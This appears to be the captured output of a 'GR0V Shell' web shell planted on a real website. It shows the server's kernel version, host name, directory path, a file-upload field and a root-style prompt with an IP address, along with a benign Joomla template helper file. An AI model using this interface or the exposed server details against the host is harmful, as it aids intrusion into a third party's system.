? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/templates/purity_iii/
File Upload :
Current File : /home/admin/public_html/old/templates/purity_iii/helper.php

<?php
class JATemplateHelper
{
	public static function getArticles($params, $catid, $count, $front = 'show')
	{
		require_once JPATH_ROOT . '/modules/mod_articles_category/helper.php';
		$aparams = clone $params;
		$aparams->set('count', $count);
		$aparams->set('show_front', $front);
		$aparams->set('catid', (array)$catid);
		$aparams->set('show_child_category_articles', 1);
		$aparams->set('levels', 2);
		$aparams->set('created_by_alias', -1);
		$alist = ModArticlesCategoryHelper::getList($aparams);
		return $alist;
	}

	public static function getCategories($parent = 'root', $count = 0)
	{
		require_once JPATH_ROOT . '/modules/mod_articles_categories/helper.php';
		$params = new JRegistry();
		$params->set('parent', $parent);
		$params->set('count', $count);
		return ModArticlesCategoriesHelper::getList($params);
	}

	public static function loadModule($name, $style = 'raw')
	{
		jimport('joomla.application.module.helper');
		$module = JModuleHelper::getModule($name);
		$params = array('style' => $style);
		echo JModuleHelper::renderModule($module, $params);
	}

	public static function loadModules($position, $style = 'raw')
	{
		jimport('joomla.application.module.helper');
		$modules = JModuleHelper::getModules($position);
		$params = array('style' => $style);
		foreach ($modules as $module) {
			echo JModuleHelper::renderModule($module, $params);
		}
	}

}

?>

T1KUS90T
  root-grov@210.1.60.28:~$